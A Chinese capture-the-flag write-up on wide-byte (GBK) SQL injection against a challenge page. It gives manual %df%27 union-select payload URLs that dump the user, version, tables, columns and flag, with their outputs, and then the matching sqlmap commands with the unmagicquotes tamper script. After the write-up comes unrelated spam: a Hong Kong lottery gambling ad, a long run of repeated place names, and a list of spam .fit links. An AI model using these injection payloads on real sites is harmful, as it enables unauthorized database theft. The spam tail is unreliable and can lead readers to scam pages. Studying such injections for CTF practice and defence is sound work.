(宽字节注入) 手注+sqlmap

                    进入题目后先简单尝试一下。

                    分享图片

                     

                    很明显的宽字节注入。

                    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

                    手工注入
                    1、判断列数:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
                    order by 3 时报错,说明只有两列。

                    2、各类信息:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
                    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

                    3、库名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
                    sae-chinalover

                    4、表名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,group_concat(table_name)
                    from information_schema.tables
                    where table_schema=database()%23
                    ctf,ctf2,ctf3,ctf4,news

                    5、ctf4表的列名:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,group_concat(column_name)
                    from information_schema.columns
                    where table_name=0x63746634%23
                    id,flag

                    这里注意:要将表名ctf4转为16进制

                    这里提供一个字符串转16进制的网站:

                    http://www.5ixuexiwang.com/str/hex.php

                    转了16进制之后记得在前面加上0x

                    6、flag列的数据:
                    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
                    union select 2,(select flag from ctf4)%23
                    flag{this_is_sqli_flag}

                    sqlmap跑法
                    1、查看有哪些库:
                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
                    这个时侯就要用到一个脚本了:

                    脚本名:unmagicquotes.py

                    作用:宽字符绕过

                    分享图片

                     

                     

                    2、表名:

                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

                    分享图片

                     

                     

                    3、列名:

                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

                     分享图片

                     

                     

                    4、flag列的数据:
                    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

                    分享图片

                    相关文章
                    相关标签/搜索
                    今期管家婆大图 玄机图六合宝典2020年香港马会正版挂牌免费资料大全开奖历史记录在线查询网 沾化县| 巢湖市| 永修县| 柞水县| 宜春市| 涪陵区| 布拖县| 绩溪县| 中方县| 五莲县| 隆昌县| 鹿邑县| 宿松县| 景宁| 安陆市| 留坝县| 崇信县| 乐东| 阜康市| 江华| 千阳县| 靖远县| 鄂托克旗| 曲靖市| 英德市| 闽清县| 宁化县| 九江市| 乐东| 达州市| 蚌埠市| 巴青县| 鄂托克旗| 宁蒗| 邵阳县| 墨玉县| 临泽县| 吐鲁番市| 化德县| 千阳县| 郯城县| 定结县| 静乐县| 中牟县| 台江县| 屯留县| 新泰市| 望城县| 永平县| 蓝田县| 富民县| 钟山县| 黎川县| 同仁县| 三亚市| 崇州市| 婺源县| 湘西| 兴业县| 油尖旺区| 平陆县| 宜丰县| 威信县| 石景山区| 安达市| 正安县| 辽阳县| 玉门市| 静海县| 灵台县| 资阳市| 万年县| 客服| 洮南市| 达拉特旗| 福鼎市| 二手房| 连州市| 武川县| 九龙坡区| 修武县| 周至县| 大厂| 沾化县| 巴彦县| 昌吉市| 湖南省| 五台县| 宕昌县| 大悟县| 肥乡县| 锦屏县| 右玉县| 梧州市| 陇南市| 元氏县| 静乐县| 五台县| 武川县| 皮山县| 丹寨县| 东安县| 泰兴市| 时尚| 昌图县| 黄平县| 肇州县| 乐都县| 合山市| 新昌县| 呈贡县| 万全县| 临泉县| 修武县| 兰坪| 凤冈县| 吉首市| 乐清市| 高尔夫| 冀州市| 云龙县| 灌云县| 清水县| 平度市| 黔西| 达州市| 岢岚县| 顺昌县| 年辖:市辖区| 台北县| 隆化县| 宁明县| 长武县| 忻州市| 洪泽县| 宿松县| 昌黎县| 区。| 江源县| 独山县| 湖口县| 图们市| 礼泉县| 定远县| 长垣县| 九寨沟县| 安西县| 子长县| 巴塘县| 渝中区| 嘉鱼县| 郑州市| 张家口市| 澎湖县| 六盘水市| 曲阳县| 长武县| 石门县| 汾阳市| 巢湖市| 两当县| 汕头市| 华亭县| 吴忠市| 黎城县| 奉化市| 徐州市| 洮南市| 阿荣旗| 竹溪县| 天镇县| 乌苏市| 措勤县| 陆河县| 庄河市| 元阳县| 长治市| 麻城市| 旅游| 三台县| 广南县| 雅江县| 青川县| 青神县| 田林县| 安福县| 姜堰市| 二手房| 保山市| 通化市| 合作市| 舒城县| 章丘市| 甘泉县| 左云县| 肥西县| 靖远县| 虎林市| 固镇县| 光泽县| 朝阳县| 武安市| 辽中县| 永清县| 祁连县| 广昌县| 花莲县| 远安县| 昔阳县| 高陵县| 朝阳市| 清远市| 镇巴县| 普洱| 岗巴县| 元氏县| 杭锦后旗| 静海县| 探索| 桐乡市| 平顺县| 固阳县| 江孜县| 都昌县| 武强县| 内江市| 鄂尔多斯市| 山阳县| 朝阳县| 霞浦县| 从化市| 华坪县| 玛纳斯县| 庆城县| 响水县| 池州市| 襄汾县| 七台河市| 武冈市| 安吉县| 河西区| 阳西县| 全椒县| 桐梓县| 同仁县| 东台市| 博白县| 礼泉县| 大名县| 东丰县| 富川| 新干县| 巩义市| 汕头市| 莱芜市| 江山市| 玛多县| 尼玛县| 潢川县| 台中县| 崇阳县| 定州市| 安阳县| 体育| 民乐县| 兰西县| 延津县| 泸州市| 博湖县| 永胜县| 张家界市| 闽侯县| 界首市| 溧阳市| 安义县| 贵溪市| 广饶县| 鄂伦春自治旗| 威宁| 山丹县| 巨野县| 兴义市| 车险| 和田县| 浑源县| 西城区| 根河市| 永定县| 怀宁县| 广饶县| 闸北区| 禄劝| 江永县| 嵊州市| 晋城| 东海县| 昂仁县| 宜丰县| 大理市| 托克托县| 凯里市| 基隆市| 丰镇市| 通榆县| 德州市| 凯里市| 托克逊县| 阿拉尔市| 大理市| 株洲县| 顺平县| 青海省| 淄博市| 曲麻莱县| 东宁县| 澄迈县| 凌源市| 枝江市| 隆德县| 印江| 定襄县| 松原市| 富锦市| 大同县| 正镶白旗| 合阳县| 射洪县| 蕲春县| 白城市| 杭锦后旗| 册亨县| 德安县| 阳江市| 军事| 连山| 莎车县| 苏尼特左旗| 天全县| 耿马| 雷山县| 长顺县| 蕉岭县| 上蔡县| 于都县| 彭水| 广德县| 洪泽县| 呈贡县| 浦江县| 屏东市| 黎川县| 鄂伦春自治旗| 济南市| 仁寿县| 丹巴县| 大渡口区| 新蔡县| 天峨县| 湘潭县| 安陆市| 法库县| 浦城县| 邯郸市| 西乌| 焦作市| 镇赉县| 广西| 唐山市| 太湖县| 鹤庆县| 封丘县| 中江县| 昌江| 廉江市| 华容县| 竹溪县| 廉江市| 平舆县| 宁乡县| 定远县| 赞皇县| 梁河县| 洞口县| 汉沽区| 当阳市| 湟中县| 凌海市| 微博| 白沙| 高台县| 花莲市| 乾安县| 濮阳市| 南漳县| 揭阳市| 陆河县| 奉新县| 康平县| 博野县| 施甸县| 钦州市| 定州市| 盈江县| 灵璧县| 喜德县| 时尚| 宁蒗| 岳普湖县| 岢岚县| 九江县| 惠州市| 习水县| 油尖旺区| 化隆| 闵行区| 绥中县| 磴口县| 宕昌县| 灵丘县| 河东区| 镇安县| 孟津县| 万全县| 灌阳县| 合作市| 宁安市| 绥中县| 九台市| 济阳县| 平江县| 荥经县| 上思县| 彭泽县| 高阳县| 景宁| 信丰县| 隆化县| 永善县| 万年县| 哈巴河县| 郑州市| 成安县| 东至县| 天柱县| 阿鲁科尔沁旗| 自贡市| 应用必备| 赣榆县| 樟树市| 枞阳县| 介休市| 香河县| 镇原县| 海兴县| 射洪县| 丰城市| 依安县| 游戏| 兖州市| 民和| 忻城县| 新竹县| 会昌县| 瓮安县| 台北县| 高雄县| 逊克县| 新民市| 双城市| 涿鹿县| 山西省| 晋宁县| 梅州市| 临清市| 太仆寺旗| 永登县| 长寿区| 嘉义市| 龙海市| 山丹县| 新巴尔虎左旗| 宁南县| 宝应县| 衡山县| 沙湾县| 清河县| 泊头市| 延庆县| 读书| 彭州市| 兴国县| 金溪县| 鸡东县| 黄大仙区| 封开县| 青阳县| 台东市| 凤冈县| 阿巴嘎旗| 建始县| 彝良县| 阜城县| 甘谷县| 新乐市| 靖宇县| 集贤县| 固镇县| 石楼县| 杂多县| 中宁县| 五指山市| 汕头市| 建阳市| 广丰县| 繁峙县| 峨眉山市| 乐安县| 洱源县| 江都市| 遂宁市| 石柱| 桃园县| 中超| 峨边| 沙坪坝区| 余庆县| 海南省| 信宜市| 利津县| 体育| 康定县| 乌拉特中旗| 毕节市| 晋宁县| 包头市| 寻乌县| 西乡县| 如皋市| 壤塘县| 庆阳市| 永年县| 章丘市| 邵东县| 汕头市| 交城县| 耿马| 页游| 苍山县| 康平县| 屏东市| 长顺县| 渑池县| 五常市| 祁阳县| 尚义县| 都昌县| 乌苏市| 肃北| 苏尼特左旗| 赤壁市| 康保县| 金山区| 临海市| 通榆县| 宁阳县| 开化县| 基隆市| 凭祥市| 沁阳市| 河东区| 嘉黎县| 安阳县| 霍林郭勒市| 偏关县| 祁东县| 郁南县| 门头沟区| 襄樊市| 丰原市| 宜兴市| 桑植县| 双鸭山市| 武汉市| 阳新县| 万载县| 河东区| 黄大仙区| 宜宾县| 错那县| 民权县| 和顺县| 丹江口市| 庄河市| 龙州县| 阳高县| 新建县| 湖南省| 西乡县| 商洛市| 观塘区| 台北县| 务川| 滦南县| 称多县| 陇川县| 柳江县| 大冶市| 平定县| 桑日县| 沈丘县| 河北区| 永兴县| 永年县| 九江县| 东方市| http://www.poqzbx.fit http://wap.ikzpps.fit http://oiveed.fit http://m.dgrlkz.fit http://www.tyhujk.fit http://ijhanu.fit http://www.nssaph.fit http://wap.fjgwdt.fit http://www.fighhs.fit http://wap.xgjmhn.fit http://www.ineliv.fit http://m.oetzqm.fit http://www.qoitqu.fit http://wap.kbjnum.fit http://www.vrdtjj.fit http://wap.uvyupi.fit http://www.imtemy.fit http://wap.kuyspu.fit